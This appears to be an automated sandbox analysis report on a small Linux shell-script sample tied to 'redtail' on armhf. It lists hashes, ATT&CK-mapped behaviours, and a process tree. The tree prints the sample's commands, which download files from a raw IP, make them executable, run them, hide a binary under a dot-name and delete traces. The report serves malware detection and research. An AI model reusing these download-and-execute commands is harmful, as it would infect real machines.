0af1e1824def0944d69e44c3ca76bc52163ee20dda7e978ead06134f550fbdc5

Analysis

max time kernel
35s
max time network
37s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
19/07/2026, 15:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a8f9ddfe88e5b7ace384cb96a141de23
Size 2KB
Sample260719-sypc8ags41
SHA256 0af1e1824def0944d69e44c3ca76bc52163ee20dda7e978ead06134f550fbdc5
MD5 a8f9ddfe88e5b7ace384cb96a141de23
SHA1 a98350c39ae23755ecef3eddc3ce2d2f86e3654c
SHA512 ea9f5624348efcff834200d8a0383675fe79494af6fe44cf4696df8070e73be0266807ea39c7ce057b097a9a4bf26dd54382252e1cbd4e1319aab752d4c55dd2
TLSH
T14541E2BBB8A28E30335DC4B9B486694CB7579A6F442A6F74F047743C36BC324B1742A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
777	chmod
805	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads network interface configuration 2 TTPs 6 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 7 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/bus/clockevents	find
File opened for reading	/sys/kernel/irq/24	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_timerfd_settime	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_inotify_init1	find
File opened for reading	/sys/devices/platform/a003c00.virtio_mmio	find
File opened for reading	/sys/devices/platform/a003c00.virtio_mmio/virtio0/block/vda/mq/0/cpu0	find
File opened for reading	/sys/devices/virtual/tty/ptmx	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/rsyslog.service	find
File opened for reading	/sys/bus/platform/drivers/vexpress-sysreg	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_mb_release_inode_pa	find
File opened for reading	/sys/kernel/debug/tracing/events/fib/fib_table_lookup	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_timer_gettime	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_vfork	find
File opened for reading	/sys/devices/virtual/misc/memory_bandwidth	find
File opened for reading	/sys/kernel/debug/tracing/events/cma/cma_release	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_shmget	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_mq_timedsend	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getdents64	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fallocate	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_setns	find
File opened for reading	/sys/devices/platform/a002a00.virtio_mmio/power	find
File opened for reading	/sys/devices/virtual/vc/vcs5	find
File opened for reading	/sys/kernel/debug/tracing/events/ftrace/kernel_stack	find
File opened for reading	/sys/kernel/irq/5	find
File opened for reading	/sys/kernel/debug/tracing/events/power/pm_qos_update_request	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_ftruncate	find
File opened for reading	/sys/class/bdi	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_userfaultfd	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_rmdir	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_clock_gettime	find
File opened for reading	/sys/devices/virtual/mem/urandom/power	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/agent.service	find
File opened for reading	/sys/class/input	find
File opened for reading	/sys/bus/i2c/drivers/rtc-pcf8563	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_sync_file_enter	find
File opened for reading	/sys/devices/virtual	find
File opened for reading	/sys/devices/virtual/misc/vga_arbiter/power	find
File opened for reading	/sys/class/block	find
File opened for reading	/sys/module/tpm	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_releasepage	find
File opened for reading	/sys/kernel/debug/tracing/events/oom	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_pciconfig_read	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_semget	find
File opened for reading	/sys/bus/platform/drivers/of_serial	find
File opened for reading	/sys/bus/platform/drivers/sun4i-mdio	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_mknodat	find
File opened for reading	/sys/fs/cgroup/systemd/init.scope	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/dbus.service	find
File opened for reading	/sys/kernel/debug/tracing/events/block/block_bio_frontmerge	find
File opened for reading	/sys/devices/virtual/misc/memory_bandwidth/power	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_unshare	find
File opened for reading	/sys/devices/platform/gpio-keys/power	find
File opened for reading	/sys/kernel/debug/tracing/events/vmscan/mm_shrink_slab_end	find
File opened for reading	/sys/kernel/debug/tracing/events/sched/sched_process_fork	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_setdomainname	find
File opened for reading	/sys/kernel/debug/ras	find
File opened for reading	/sys/devices/platform/a002e00.virtio_mmio/power	find
File opened for reading	/sys/devices/platform/a000000.virtio_mmio	find
File opened for reading	/sys/fs/cgroup/devices/init.scope	find
File opened for reading	/sys/bus/platform/drivers/imx-uart	find
File opened for reading	/sys/kernel/irq/20	find
File opened for reading	/sys/kernel/debug/tracing/events/jbd2/jbd2_write_superblock	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sched_setaffinity	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_setsid	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/13/task/13	find
File opened for reading	/proc/27/task/27/net/stat	find
File opened for reading	/proc/159/task/159/attr	find
File opened for reading	/proc/220/task/220/net/stat	find
File opened for reading	/proc/220/fdinfo	find
File opened for reading	/proc/293/task/293/net/stat	find
File opened for reading	/proc/295/task/295/net/dev_snmp6	find
File opened for reading	/proc/637/task/637/net/dev_snmp6	find
File opened for reading	/proc/3/task/3/ns	find
File opened for reading	/proc/4/task/4/ns	find
File opened for reading	/proc/20/task/20/fd	find
File opened for reading	/proc/293/task/293/net	find
File opened for reading	/proc/655/task/660/net/dev_snmp6	find
File opened for reading	/proc/sys/net/ipv4/conf/eth0	find
File opened for reading	/proc/fs/ext4/vda1	find
File opened for reading	/proc/5/ns	find
File opened for reading	/proc/12/fdinfo	find
File opened for reading	/proc/24/task/24/fdinfo	find
File opened for reading	/proc/293/task/311/fd	find
File opened for reading	/proc/324/task/324/net/dev_snmp6	find
File opened for reading	/proc/585/task/585/net	find
File opened for reading	/proc/5/net/dev_snmp6	find
File opened for reading	/proc/16	find
File opened for reading	/proc/28/task/28/attr	find
File opened for reading	/proc/42/ns	find
File opened for reading	/proc/76/task/76/attr	find
File opened for reading	/proc/220/task/220/net/netfilter	find
File opened for reading	/proc/295/task/295/net/netfilter	find
File opened for reading	/proc/3/task/3/net/stat	find
File opened for reading	/proc/21/net/stat	find
File opened for reading	/proc/585/task/585/net/stat	find
File opened for reading	/proc/585/net/dev_snmp6	find
File opened for reading	/proc/590/task/590/net/stat	find
File opened for reading	/proc/641	find
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/8/net/netfilter	find
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/42/task/42/net/netfilter	find
File opened for reading	/proc/135/task/135/ns	find
File opened for reading	/proc/566/map_files	find
File opened for reading	/proc/591/task/591/net/dev_snmp6	find
File opened for reading	/proc/655/task/658/ns	find
File opened for reading	/proc/2/fd	find
File opened for reading	/proc/12/net/stat	find
File opened for reading	/proc/13/task/13/net/stat	find
File opened for reading	/proc/43/task/43/net/dev_snmp6	find
File opened for reading	/proc/159/net/stat	find
File opened for reading	/proc/169/task	find
File opened for reading	/proc/298/map_files	find
File opened for reading	/proc/irq/58	find
File opened for reading	/proc/6/map_files	find
File opened for reading	/proc/106/net/stat	find
File opened for reading	/proc/108/task/108	find
File opened for reading	/proc/108/task/108/net	find
File opened for reading	/proc/637/task/637/fdinfo	find
File opened for reading	/proc/irq/19	find
File opened for reading	/proc/sys/vm	find
File opened for reading	/proc/13/net/netfilter	find
File opened for reading	/proc/19/task/19/net/stat	find
File opened for reading	/proc/27/task/27/net/netfilter	find
File opened for reading	/proc/143/net/dev_snmp6	find
File opened for reading	/proc/298/task/298/ns	find
File opened for reading	/proc/322/task/322/net/dev_snmp6	find
File opened for reading	/proc/6/net/dev_snmp6	find

/tmp/a8f9ddfe88e5b7ace384cb96a141de23
/tmp/a8f9ddfe88e5b7ace384cb96a141de23
1⤵
PID:644
- /bin/findmnt
  findmnt -rn -O noexec -o TARGET
  2⤵
  PID:653
- /usr/bin/whoami
  whoami
  2⤵
  PID:668
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev -not -path "/dev/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path / -not -path "//*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /dev/shm -not -path "/dev/shm/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /dev/mqueue -not -path "/dev/mqueue/*" -not -path /dev/hugepages -not -path "/dev/hugepages/*" -not -path /proc/sys/fs/binfmt_misc -not -path "/proc/sys/fs/binfmt_misc/*" -not -path /sys/kernel/debug -not -path "/sys/kernel/debug/*" -not -path /run/user/0 -not -path "/run/user/0/*"
  2⤵
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:670
- /bin/uname
  uname -mp
  2⤵
  PID:757
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:762
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:761
- /usr/bin/expr
  expr 16109 "%" 32 + 4
  2⤵
  PID:763
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:765
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:766
- /usr/bin/head
  head -c 17
  2⤵
  PID:767
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:768
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:770
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:771
- /bin/rm
  rm -rf clean
  2⤵
  PID:772
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/test/clean
  2⤵
  PID:773
- /usr/bin/curl
  curl -skO https://217.60.195.113/test/clean
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:776
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /bin/sh
  sh clean
  2⤵
  PID:778
- /bin/rm
  rm -rf clean
  2⤵
  PID:779
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:780
- /bin/rm
  rm -rf .nNZodPOSdL9LHW9zp
  2⤵
  PID:781
- /bin/grep
  grep -q x86_64
  2⤵
  PID:783
- /bin/grep
  grep -q amd64
  2⤵
  PID:785
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:787
- /bin/grep
  grep -q armv8
  2⤵
  PID:789
- /bin/grep
  grep -q aarch64
  2⤵
  PID:791
- /bin/grep
  grep -q armv7
  2⤵
  PID:793
- /bin/rm
  rm -rf arm7
  2⤵
  PID:794
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/test/arm7
  2⤵
  PID:795
- /usr/bin/curl
  curl -skO https://217.60.195.113/test/arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:801
- /bin/mv
  mv -f arm7 .nNZodPOSdL9LHW9zp
  2⤵
  PID:804
- /bin/chmod
  chmod +x .nNZodPOSdL9LHW9zp
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /lost+found/.nNZodPOSdL9LHW9zp
  ./.nNZodPOSdL9LHW9zp
  2⤵
  PID:806

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.testfile2

Path /lost+found/.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads